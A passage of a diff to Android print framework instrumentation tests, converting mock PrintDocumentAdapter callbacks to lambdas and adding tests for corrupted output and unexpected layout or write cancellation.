+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+
+                    if (writeCorruptedFile[0]) {
+                        Log.i(LOG_TAG, "write corrupted file " + pages);
+
+                        FileOutputStream os = new FileOutputStream(fd.getFileDescriptor());
+                        for (int i = 0; i < 10; i++) {
+                            os.write(i);
+                        }
+                    } else {
+                        Log.i(LOG_TAG, "write good file");
+
+                        writeBlankPages(printAttributes[0], fd, 0, 1);
+                    }
+                    fd.close();
+                    callback.onWriteFinished(new PageRange[]{new PageRange(0, 1)});
+
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for write.
+        waitForWriteAdapterCallback(1);
+
+        // Select the second printer.
+        selectPrinter("First printer");
+
+        openPrintOptions();
+        selectPages("1", 2);
+
+        // Wait for write.
+        waitForWriteAdapterCallback(2);
+
+        writeCorruptedFile[0] = true;
+
+        // Click the print button
+        clickPrintButton();
+
+        // Answer the dialog for the print service cloud warning
+        answerPrintServicesWarning(true);
+
+        // Printing will abort automatically
+
+        // Wait for a finish.
+        waitForAdapterFinishCallbackCalled();
+
+        // Wait for the session to be destroyed to isolate tests.
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+
+    @Test
+    public void printOptionsChangeAndPrinterChange() throws Exception {
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+        // Create a mock print adapter.
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback)
+                            invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                        .setPageCount(1)
+                        .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -546,7 +702,7 @@
         waitForLayoutAdapterCallbackCount(2);
 
         // Change the color.
-        changeColor("Black & White");
+        changeColor(getPrintSpoolerStringArray("color_mode_labels")[0]);
 
         // Wait for layout.
         waitForLayoutAdapterCallbackCount(3);
@@ -580,7 +736,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS)
                 .setColorMode(PrintAttributes.COLOR_MODE_COLOR)
@@ -622,7 +778,7 @@
         // new printer which results in a layout pass. Same for color.
         PrintAttributes fourthOldAttributes = thirdNewAttributes;
         PrintAttributes fourthNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.ISO_A4)
+                .setMediaSize(MediaSize.ISO_A0)
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(new Margins(200, 200, 200, 200))
                 .setColorMode(PrintAttributes.COLOR_MODE_COLOR)
@@ -644,56 +800,41 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testPrintOptionsChangeAndNoPrinterChangeAndContentChange()
+    @Test
+    public void printOptionsChangeAndNoPrinterChangeAndContentChange()
             throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(1)
-                        .build();
-                // The content changes after every layout.
-                callback.onLayoutFinished(info, true);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(1)
+                            .build();
+                    // The content changes after every layout.
+                    callback.onLayoutFinished(info, true);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -732,7 +873,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -778,53 +919,38 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testNewPrinterSupportsSelectedPrintOptions() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void newPrinterSupportsSelectedPrintOptions() throws Exception {
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(1)
-                        .build();
-                // The content changes after every layout.
-                callback.onLayoutFinished(info, true);
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(1)
+                            .build();
+                    // The content changes after every layout.
+                    callback.onLayoutFinished(info, true);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -860,7 +986,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -887,54 +1013,39 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testNothingChangesAllPagesWrittenFirstTime() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void nothingChangesAllPagesWrittenFirstTime() throws Exception {
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(3)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                PageRange[] pages = (PageRange[]) args[0];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(new PageRange[] {PageRange.ALL_PAGES});
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(3)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    PageRange[] pages = (PageRange[]) args[0];
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(new PageRange[] {PageRange.ALL_PAGES});
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -973,7 +1084,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1017,40 +1128,25 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testCancelLongRunningLayout() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void cancelLongRunningLayout() throws Exception {
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                CancellationSignal cancellation = (CancellationSignal) invocation.getArguments()[2];
-                final LayoutResultCallback callback = (LayoutResultCallback) invocation
-                        .getArguments()[3];
-                cancellation.setOnCancelListener(new OnCancelListener() {
-                    @Override
-                    public void onCancel() {
+                invocation -> {
+                    CancellationSignal cancellation = (CancellationSignal) invocation.getArguments()[2];
+                    final LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
+                    cancellation.setOnCancelListener(() -> {
                         onCancelOperationCalled();
                         callback.onLayoutCancelled();
-                    }
+                    });
+                    onLayoutCalled();
+                    return null;
+                }, null, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
                 });
-                onLayoutCalled();
-                return null;
-            }
-        }, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
 
         // Start printing.
         print(adapter);
@@ -1081,7 +1177,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1095,36 +1191,23 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testCancelLongRunningWrite() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void cancelLongRunningWrite() throws Exception {
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                final ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                final CancellationSignal cancellation = (CancellationSignal) args[2];
-                final WriteResultCallback callback = (WriteResultCallback) args[3];
-                cancellation.setOnCancelListener(new OnCancelListener() {
-                    @Override
-                    public void onCancel() {
+                invocation -> {
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    final ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    final CancellationSignal cancellation = (CancellationSignal) args[2];
+                    final WriteResultCallback callback = (WriteResultCallback) args[3];
+                    cancellation.setOnCancelListener(() -> {
                         try {
                             fd.close();
                         } catch (IOException ioe) {
@@ -1132,20 +1215,15 @@
                         }
                         onCancelOperationCalled();
                         callback.onWriteCancelled();
-                    }
+                    });
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
                 });
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
 
         // Start printing.
         print(adapter);
@@ -1176,7 +1254,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1195,33 +1273,21 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testFailedLayout() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void failedLayout() throws Exception {
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                callback.onLayoutFailed(null);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    callback.onLayoutFailed(null);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, null, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -1249,7 +1315,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1265,46 +1331,31 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testFailedWrite() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
-
+    @Test
+    public void failedWrite() throws Exception {
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                fd.close();
-                callback.onWriteFailed(null);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    fd.close();
+                    callback.onWriteFailed(null);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -1332,7 +1383,7 @@
         // there are other printers but none of them was used.
         PrintAttributes firstOldAttributes = new PrintAttributes.Builder().build();
         PrintAttributes firstNewAttributes = new PrintAttributes.Builder()
-                .setMediaSize(MediaSize.NA_LETTER)
+                .setMediaSize(getDefaultMediaSize())
                 .setResolution(new Resolution("PDF resolution", "PDF resolution", 300, 300))
                 .setMinMargins(Margins.NO_MARGINS).setColorMode(PrintAttributes.COLOR_MODE_COLOR)
                 .setDuplexMode(PrintAttributes.DUPLEX_MODE_NONE)
@@ -1351,52 +1402,169 @@
         verifyNoMoreInteractions(adapter);
     }
 
-    public void testRequestedPagesNotWritten() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-        // Configure the print services.
-        FirstPrintService.setCallbacks(createFirstMockPrintServiceCallbacks());
-        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+    @Test
+    public void unexpectedLayoutCancel() throws Exception {
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+        final int[] numLayoutCalls = new int[1];
 
+        // Create a mock print adapter.
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+
+                    // Returned cancelled for the second layout call which is unexpected
+                    if (numLayoutCalls[0] == 1) {
+                        callback.onLayoutCancelled();
+                    } else {
+                        callback.onLayoutFinished(
+                                (new PrintDocumentInfo.Builder(PRINT_JOB_NAME)).build(), false);
+                    }
+                    numLayoutCalls[0]++;
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, 0, 1);
+                    fd.close();
+                    callback.onWriteFinished(pages);
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
+
+        // Start printing.
+        print(adapter);
+
+        // Wait for layout.
+        waitForLayoutAdapterCallbackCount(1);
+
+        // Select the second printer.
+        selectPrinter("Second printer");
+
+        // Wait for layout.
+        waitForLayoutAdapterCallbackCount(2);
+
+        // Retry layout (which should succeed) as the layout call will stop canceling after the
+        // second time
+        clickRetryButton();
+
+        // Click the print button.
+        clickPrintButton();
+
+        // Answer the dialog for the print service cloud warning
+        answerPrintServicesWarning(true);
+
+        // Wait for the session to be destroyed to isolate tests.
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void unexpectedWriteCancel() throws Exception {
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+        final int[] numWriteCalls = new int[1];
+
+        // Create a mock print adapter.
+        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+
+                    callback.onLayoutFinished(
+                                (new PrintDocumentInfo.Builder(PRINT_JOB_NAME)).build(), true);
+
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+
+                    // Returned cancelled for the second write call which is unexpected
+                    if (numWriteCalls[0] == 1) {
+                        callback.onWriteCancelled();
+                    } else {
+                        PageRange[] pages = (PageRange[]) args[0];
+                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                        writeBlankPages(printAttributes[0], fd, 0, 1);
+                        fd.close();
+                        callback.onWriteFinished(pages);
+                    }
+                    numWriteCalls[0]++;
+
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
+
+        // Start printing.
+        print(adapter);
+
+        waitForWriteAdapterCallback(1);
+
+        // Select the second printer.
+        selectPrinter("Second printer");
+
+        // Wait for layout.
+        waitForWriteAdapterCallback(2);
+
+        // Retry write (which should succeed) as the write call will stop canceling after the
+        // second time
+        clickRetryButton();
+
+        // Click the print button.
+        clickPrintButton();
+
+        // Answer the dialog for the print service cloud warning
+        answerPrintServicesWarning(true);
+
+        // Wait for the session to be destroyed to isolate tests.
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void requestedPagesNotWritten() throws Exception {
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                      .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
-                      .build();
-                callback.onLayoutFinished(info, false);
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, Integer.MAX_VALUE, Integer.MAX_VALUE);
-                fd.close();
-                // Write wrong pages.
-                callback.onWriteFinished(new PageRange[] {
-                        new PageRange(Integer.MAX_VALUE,Integer.MAX_VALUE)});
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                          .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).setPageCount(1)
+                          .build();
+                    callback.onLayoutFinished(info, false);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
